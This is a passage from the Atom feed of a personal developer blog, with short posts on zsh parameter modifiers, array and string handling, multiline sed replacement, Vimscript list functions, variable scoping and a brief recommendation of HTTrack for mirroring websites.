&lt;li&gt;&lt;code&gt;index(myArray, &#39;three&#39;)&lt;/code&gt; returns &lt;code&gt;2&lt;/code&gt; (or &lt;code&gt;-1&lt;/code&gt; if not found)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;join(myArray, &#39;/&#39;)&lt;/code&gt; returns &lt;code&gt;one/two/three&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;split(&#39;one/two/three&#39;, &#39;/&#39;)&lt;/code&gt; creates &lt;code&gt;[&#39;one&#39;, &#39;two&#39;, &#39;three&#39;]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learnvimscriptthehardway.stevelosh.com/chapters/35.html&quot;&gt;List functions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learnvimscriptthehardway.stevelosh.com/chapters/27.html&quot;&gt;String functions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Parsing string as arguments in zsh</title>
    <link href="https://blog.pixelastic.com/2023/02/06/parsing-string-as-arguments-in-zsh/"/>
    <updated>2023-02-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/06/parsing-string-as-arguments-in-zsh</id>
    <content type="html">&lt;p&gt;I had a &lt;code&gt;commandOptions&lt;/code&gt; string variable that I wanted to use as arguments to
&lt;code&gt;fzf&lt;/code&gt;. But &lt;code&gt;commandOptions&lt;/code&gt; had all kind of spaces and quoted strings in it and
I had a hard time passing it as a set of distinct arguments and not one long
string argument.&lt;/p&gt;
&lt;p&gt;The best solution I found was to actually display this &lt;code&gt;commandOptions&lt;/code&gt; in a
multiline format, where each line was an option. Then, using the
&lt;code&gt;${(f)commandOptions}&lt;/code&gt; modifier to read it.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;get_options&lt;/code&gt;&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; commandOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;commandOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;--disabled&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;commandOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;--delimiter=   &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;commandOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;--with-nth=3&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;commandOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;--bind=change:reload:sleep 0.1;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${sourceBinary}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; {q} || true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $commandOptions&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;use_options&lt;/code&gt;&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myOptions&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;get_options&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selection&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;fzf&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myOptions}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Deduplicating array values in zsh</title>
    <link href="https://blog.pixelastic.com/2023/02/03/deduplicate-array-values-in-zsh/"/>
    <updated>2023-02-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/03/deduplicate-array-values-in-zsh</id>
    <content type="html">&lt;p&gt;Given an array with a lot of values, I want to keep only one occurence of each
value. I want to make those values unique.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;(u)&lt;/code&gt; modifier&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; d&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # a b c d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Applied on an array, the &lt;code&gt;(u)&lt;/code&gt; (for &lt;code&gt;u&lt;/code&gt;nique) deduplicates the array.&lt;/p&gt;
&lt;h2&gt;The &lt;code&gt;typeset -aU&lt;/code&gt; definition&lt;/h2&gt;
&lt;p&gt;Somehow, I didn&#39;t work in my case and I&#39;m still unsure why, so I found another
way.&lt;/p&gt;
&lt;p&gt;By defining my variable as an array with unique values from the get go, I don&#39;t
need to deduplicate it manually, it will automatically refuse duplicate values.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;typeset&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -aU&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; d&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; a&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # a b c d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Replacing new lines with spaces in zsh</title>
    <link href="https://blog.pixelastic.com/2023/02/02/replace-new-lines-with-spaces-in-zsh/"/>
    <updated>2023-02-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/02/replace-new-lines-with-spaces-in-zsh</id>
    <content type="html">&lt;p&gt;Another one of those things I need to often do in zsh and never remember the
syntax.&lt;/p&gt;
&lt;p&gt;I had a multiline string (as returned by &lt;code&gt;fzf&lt;/code&gt;) and wanted to convert it into a
single line, with spaces instead of spaces.&lt;/p&gt;
&lt;p&gt;This was the right formula: &lt;code&gt;selection=(&amp;quot;${(f)selection}&amp;quot;)&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Complex sed search and replace (multiline, regexp, non-greedy)</title>
    <link href="https://blog.pixelastic.com/2023/02/02/complex-search-and-replace-multiline-non-greedy-regexp/"/>
    <updated>2023-02-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/02/complex-search-and-replace-multiline-non-greedy-regexp</id>
    <content type="html">&lt;p&gt;I had a large chunk of text (output from another command), and needed to perform
a search and replace on it. I usually do that either with zsh builting
&lt;code&gt;${var:gs/x/y/}&lt;/code&gt; syntax or &lt;code&gt;sed&lt;/code&gt;, but this time my pattern was spread on several
lines.&lt;/p&gt;
&lt;h2&gt;Multi-line with &lt;code&gt;--null-data&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The trick here is to use &lt;code&gt;sed ---null-data&lt;/code&gt; to make it operate on the full text
instead of on invidual lines. Technically, it now considers a &amp;quot;line&amp;quot; to end with
a &lt;code&gt;NUL&lt;/code&gt; character, and not a &lt;code&gt;&#92;n&lt;/code&gt; anymore.&lt;/p&gt;
&lt;h2&gt;Improve readability with &lt;code&gt;--regexp-extended&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;To improve readability of my regexps, I also used &lt;code&gt;--regexp-extended&lt;/code&gt; which
allows me to write capturing groups without having to escape them (&lt;code&gt;(.*)&lt;/code&gt;
instead of &lt;code&gt;&#92;(.*&#92;)&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Non-greedy&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sed&lt;/code&gt; does not have a non-greedy mode, which means it will always capture the
largest group it can.&lt;/p&gt;
&lt;p&gt;The way to work around that involves writing a slightly more complex regexp by
specifically defining the one character we don&#39;t want to capture.&lt;/p&gt;
&lt;p&gt;For example with the string &lt;code&gt;foo_bar_baz&lt;/code&gt;, I might want to find the part before
the first &lt;code&gt;_&lt;/code&gt; by doing &lt;code&gt;^(.*)_&lt;/code&gt;. This will actually return &lt;code&gt;foo_bar&lt;/code&gt; because
it&#39;s greedy.&lt;/p&gt;
&lt;p&gt;The way to work around that is to use &lt;code&gt;^([^_]*)_&lt;/code&gt; instead. This can be read as:
capture everything that is not a &lt;code&gt;_&lt;/code&gt; from the start until you met a &lt;code&gt;_&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Splitting a string with zsh</title>
    <link href="https://blog.pixelastic.com/2023/01/17/splitting-a-string-with-zsh/"/>
    <updated>2023-01-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/17/splitting-a-string-with-zsh</id>
    <content type="html">&lt;p&gt;This is one of those transformations I know how to do with node, ruby, or even
the command line, but that I always have to refer to Stack Overflow when
attempting to do it with &lt;code&gt;zsh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hopefully, writing this blog post (and referring to it later) will help me
remember how to do it.&lt;/p&gt;
&lt;p&gt;To split a string variables by a delimiter, one can use the
&lt;code&gt;(${(@s/X/)variableName})&lt;/code&gt; syntax.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The wrapping &lt;code&gt;()&lt;/code&gt; means that the resulting variable will be treated as an
array&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;${}&lt;/code&gt; interpolation syntax allow passing specific modifiers&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;(@s/X/)&lt;/code&gt; modifier means to split it by the &lt;code&gt;X&lt;/code&gt; character.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To split by the &lt;code&gt;/&lt;/code&gt; character, you can use an alternate syntax like &lt;code&gt;(@s:/:)&lt;/code&gt;
instead. The character following the &lt;code&gt;@s&lt;/code&gt; is part of the zsh syntax parsing, and
the character between them will be your actual delimiter.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>ZSH filepath modifiers</title>
    <link href="https://blog.pixelastic.com/2023/01/15/zsh-filepath-modifiers/"/>
    <updated>2023-01-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/15/zsh-filepath-modifiers</id>
    <content type="html">&lt;p&gt;&lt;code&gt;zsh&lt;/code&gt; comes bundled with variable modifier to alter filepaths and extract the
relevant parts.&lt;/p&gt;
&lt;p&gt;Given the following code, we can display &lt;code&gt;$filepath&lt;/code&gt; in a lot of different ways:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /tmp/subdir&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /tmp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; filepath&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;./&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;subdir&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;zsh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Output&lt;/th&gt;
&lt;th&gt;Modifier&lt;/th&gt;
&lt;th&gt;Mnemonic&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Absolute&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/tmp/subdir/file.zsh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${filepath:a}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;bsolute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basename&lt;/td&gt;
&lt;td&gt;&lt;code&gt;file.zsh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${filepath:t}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;t&lt;/code&gt;ail&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filename&lt;/td&gt;
&lt;td&gt;&lt;code&gt;file&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${filepath:t:r}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;t&lt;/code&gt;ail &lt;code&gt;r&lt;/code&gt;est&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extension&lt;/td&gt;
&lt;td&gt;&lt;code&gt;zsh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${filepath:e}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e&lt;/code&gt;xtension&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dirpath&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/tmp/subdir&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${filepath:a:h}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;bsolute &lt;code&gt;h&lt;/code&gt; ead&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;For clarity&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;t&lt;/code&gt;ail is everything &lt;strong&gt;after&lt;/strong&gt; the last &lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;h&lt;/code&gt;ead is everything &lt;strong&gt;before&lt;/strong&gt; the last &lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt;xtension is everything &lt;strong&gt;after&lt;/strong&gt; the last &lt;code&gt;.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt;est is everything &lt;strong&gt;before&lt;/strong&gt; the last &lt;code&gt;.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other goodies&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;${~filepath}&lt;/code&gt; will expand &lt;code&gt;~&lt;/code&gt; to their full path, while
&lt;code&gt;${filepath/#$HOME/&#92;~}&lt;/code&gt; will use &lt;code&gt;~&lt;/code&gt; instead of home path&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:c&lt;/code&gt;ommand gives you the executable path of a command (a bit like &lt;code&gt;which&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:q&lt;/code&gt; for quoting, &lt;code&gt;:U&lt;/code&gt; for unquoting, &lt;code&gt;:x&lt;/code&gt; for quoting individual words&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:l&lt;/code&gt; for lowercase, &lt;code&gt;:u&lt;/code&gt; for uppercase&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:2:10&lt;/code&gt; takes a substring from &lt;code&gt;2&lt;/code&gt; to &lt;code&gt;10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Those modifiers can be applied directly to glob patterns
(&lt;code&gt;src/**/*.zsh(:t:r)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Default variable values with zsh</title>
    <link href="https://blog.pixelastic.com/2023/01/14/zsh-variable-default-value/"/>
    <updated>2023-01-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/14/zsh-variable-default-value</id>
    <content type="html">&lt;p&gt;&lt;code&gt;zsh&lt;/code&gt; has two modifiers (&lt;code&gt;${:-}&lt;/code&gt; and &lt;code&gt;${:=}&lt;/code&gt;) to handle fallback for empty
values.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo ${ahead:-0}&lt;/code&gt; will display the variable &lt;code&gt;$ahead&lt;/code&gt;, or display &lt;code&gt;0&lt;/code&gt; if the
variable is empty.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo ${ahead:=0}&lt;/code&gt; (note the &lt;code&gt;:=&lt;/code&gt; instead of &lt;code&gt;:-&lt;/code&gt;) will &lt;strong&gt;assign&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt; to the
variable &lt;code&gt;$ahead&lt;/code&gt;, and then display it.&lt;/p&gt;
&lt;p&gt;They are pretty similar, and in that example the result is the same. But with
&lt;code&gt;:=&lt;/code&gt;, the variable will still be set to &lt;code&gt;0&lt;/code&gt; afterward, while with &lt;code&gt;:-&lt;/code&gt; it&#39;s a
one-off thing.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Search and replace with zsh</title>
    <link href="https://blog.pixelastic.com/2023/01/13/search-and-replace-with-zsh/"/>
    <updated>2023-01-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/13/search-and-replace-with-zsh</id>
    <content type="html">&lt;p&gt;To search and replace with &lt;code&gt;zsh&lt;/code&gt;, there are two ways.&lt;/p&gt;
&lt;h2&gt;With &lt;code&gt;${var//XXX/YYY}&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;This will replace all occurences of &lt;code&gt;XXX&lt;/code&gt; in &lt;code&gt;$var&lt;/code&gt; with &lt;code&gt;YYY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that you can interpolate variables inside of &lt;code&gt;XXX&lt;/code&gt;, so
&lt;code&gt;${var//${input}/YYY}&lt;/code&gt; with &lt;code&gt;input=&amp;quot;foo&amp;quot;&lt;/code&gt; will replace &lt;code&gt;foo&lt;/code&gt; with &lt;code&gt;YYY&lt;/code&gt; in
&lt;code&gt;$var&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can use only one &lt;code&gt;/&lt;/code&gt; instead of &lt;code&gt;//&lt;/code&gt; to only replace the first occurence.&lt;/p&gt;
&lt;h2&gt;With &lt;code&gt;${var:gs/XXX/YYY}&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;:s/XXX/YYY&lt;/code&gt; modifier is the basic syntax to replace &lt;code&gt;XXX&lt;/code&gt; with &lt;code&gt;YYY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It &lt;strong&gt;does not&lt;/strong&gt; allow for interpolating variables. You need to replace &lt;code&gt;s&lt;/code&gt; with
&lt;code&gt;gs&lt;/code&gt; to make it a global search and replace.&lt;/p&gt;
&lt;p&gt;The only advantage over the other syntax in my opinion is that you can swap the
delimiter character (&lt;code&gt;/&lt;/code&gt;) with any other character you like. So if your patterns
are heavy on &lt;code&gt;/&lt;/code&gt;, you can swap them for &lt;code&gt;_&lt;/code&gt; for example for a more readable
format, like &lt;code&gt;${var:gs_/_#}&lt;/code&gt; to replace all &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;#&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Thanks, HTTrack</title>
    <link href="https://blog.pixelastic.com/2023/01/12/thanks-httrack/"/>
    <updated>2023-01-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/12/thanks-httrack</id>
    <content type="html">&lt;p&gt;Sometimes, you need to download a whole website locally. And for that,
&lt;a href=&quot;https://www.httrack.com/&quot;&gt;HTTrack&lt;/a&gt; is the best tool I ever found.&lt;/p&gt;
&lt;p&gt;Sure, you could use &lt;code&gt;wget&lt;/code&gt; and some recursion to get what you want, but HTTrack
solves all that for you.&lt;/p&gt;
&lt;p&gt;Reasons you might need to download a whole website:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You need to browse it when you don&#39;t have an internet connection (on the go,
with low data usage, in a train, etc)&lt;/li&gt;
&lt;li&gt;You want to run scripts on the content, and it&#39;s faster with a local copy than
a remote one&lt;/li&gt;
&lt;li&gt;You want to make a copy of a website that might disappear&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Scoping zsh variables</title>
    <link href="https://blog.pixelastic.com/2023/01/03/scoping-zsh-variables/"/>
    <updated>2023-01-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/03/scoping-zsh-variables</id>
    <content type="html">&lt;p&gt;By default in zsh, if you define a &lt;code&gt;local myVariable&lt;/code&gt; it will be available to
the whole script running it.&lt;/p&gt;
&lt;p&gt;Any of those variables defined in your &lt;code&gt;.zshrc&lt;/code&gt; will also be visible in your
terminal. This can create weird bugs when you accidentally defined a variable
with the same name as another zsh script.&lt;/p&gt;
&lt;p&gt;Note that those are &lt;em&gt;not&lt;/em&gt; environment variables. Even if you can read them from
your zsh terminal, they are not accessible from other tools. To explicitly make
them available as environment variables, you need to &lt;code&gt;export&lt;/code&gt; them.&lt;/p&gt;
&lt;p&gt;If you define a variable inside a function, it stays scoped to that function,
though. Also, anonymous functions are run as soon as they are defined, and
discarded afterwards.&lt;/p&gt;
&lt;p&gt;Using those two features, we can define our variables without them being
available in the terminal global scope.&lt;/p&gt;
&lt;p&gt;I find it a best practice to wrap any of my sourced zsh scripts in a
&lt;code&gt;function () { }&lt;/code&gt; block, like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; one&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
